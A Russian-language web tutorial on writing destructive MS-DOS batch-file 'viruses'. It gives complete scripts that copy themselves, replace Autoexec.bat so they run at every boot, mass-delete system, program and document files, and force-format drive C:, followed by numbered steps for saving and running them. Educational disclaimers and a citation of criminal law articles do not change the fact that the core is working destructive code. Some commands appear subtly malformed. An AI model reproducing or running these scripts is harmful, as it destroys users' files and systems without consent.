Внимание! Данный раздел сайта создан исключительно для изучений возможностей среды MS-DOS. Любые приведенные здесь примеры носят исключительно образовательный характер. Автор не несет никакой ответственности за любой ущерб связанный с применением материалов этой страницы, а также программ полученных с этого сайта
В этом разделе пойдет речь о программах написанных в среде MS-DOS и как следствие имеющих расширение "bat". Вообще в этой среде можно создать примитивнейшие программы выполняюшие как полезные, так и разрушительные действия с вашей системой, но от их примитивности действенность не уменьшается. Для этого почти ничего не нужно кроме текстового редактора( например: блокнот в Windows) и елементарного знания команд DOS'а. Одним словом - все всем под силу.
Вообще в данное время четкого определения вирусам нет, хотя существуют несколько общих аспектов которые позволяют называть ту или иную программу вирусом. Это способность самостоятельно создавать свои копии( распростроняться в системе) , выполнять те или иные действия( чаще разрушительные) без ведома и контроля хозяина системы....и т.д. В среде МS-DOS( далее "МД") есть команды копирования (COPY) , удаления (DEL) файлов, а также форматирования дисков (Format C и как следствие наличия этих комманд в "МД" можно создать вирус, который при определенных условиях будет копироваться в определенные места жесткого диска, удалять все файлы или файлы определенного вида(например только текстовые, или МР3, видео, драйвера, системные, и наконец просто одну программу) , создавать совершенно ненужные , но занимающие место(копировать уже существующие неоднократно придавая им разные имена), провоцировать сбой, выключение компьютера, перезагрузку, все в зависимости от фантазии создателя. Наряду с этим можно написать полезную программу выполняющую позитивные действия( например копирование файлов при установке программы, массовое удаление файлов засоряющих систему(*.tmp в Windows98) и многое другое.
Итак пример простейшего вируса который можно написать за 1 минуту. Пусть программа с расширением "Ват" называется "JKL"(JKL.bat).
ПРИМЕР 1
COPY JKL.bat C:\JKL.Bat
COPY JKL.bat C:\Windows\FIFA.bat
del C:\*.sys
del: C:\Command.com
del: C:\Windows\*.exe
del: JKL.bat
ПРИМЕР 2
mode con codepage prepare=((866) C:\WINDOWS\COMMAND\ega3.cpi)
mode con codepage select=866keyb ru,,C:\WINDOWS\COMMAND\keybrd3.sys
COPY JKL.bat C:\Autoexec.Bat
COPY C:\Autoexec.bat С:\Windows\JKL.bat
COPY C:\Autoexec.bat C:\Windows\System32\Autoexec.bat
dir >C:\Dzeran.boom.ru.htm
del C:\*.txt
del: C:\*.doc
del: C:\Windows\*.exe
del: JKL.bat
В первом примере вирус при запуске копирует свое тело на диск С и в папку Windows под именем JKL. Затем удаляет файлы с расширением SYS,COM,EXE. и удаляет сам себя. Всего 6 строк, а сколько разрушений...
Во втором примере тот же вирус удаляет все текстовые файлы на диске С ,приобрел свойства автозагрузки копируя себя на диск С под именем Autoexec.bat заменяя тем самым оригинал.Но сам оригинал очень важен для работы системы и поэтому вирус имеет в своем теле содержимое самого Autoexec.bat.Проще говоря "Чтобы компьютер запускался"! Свойства автозагрузки придает вирусу относительную живучесть. И сколко не удаляй все копии вируса с диска-они все равно при каждом включении или перезагрузке компьютера будут возрождаться из пепла, пока не вылечить сам Autoexec.bat.( вылечив Autoexec.bat не забудьте удалить все копии вируса иначе начинайте все сначала). "Преимуществом" этих вирусов является его мизерная величина( менее 1 Килобайта)
Это самые примитивные программы-вирусы которые могут размножаться. Но можно написать вредоносную программу не имеющую таких свойств, и полностью убивающую информацию на диске. Что назвается "Только запусти" Пример:
del C:\*.exe
echo y|del*.*
echo y|Format C:
echo y|del C:\*.*
echo y|del D:\*.* - Пять строчек- и информации каюк...Если не форматнет, так удалит все файлы(по большому счету разности никакой).
Итак: Для тех кто не понимает как можно воспользоваться таким вирусом( но делать этого не советую, так как вы уведомлены о его действиях и будете нести только свою ответственность за весь ущерб) я повторю...
1. Скопировать текст вируса с этой страницы
2. Открыть текстовый редактор( блокнот)
3. Вставить текст
4. Сохранить как: Имя_Файла.bat
5. Запустить
Таким способом можно создать как совершенно убийственные программы-вирусы, так и безопасные только распространяющиеся или выводящие текст при включении компьютера. Это зависит от фантазии автора.
Автор поста не несет ответственности за использование данного урока, помним про УК РФ и статьи 272-274, все представленно исключительно в ознакомительных целях!!!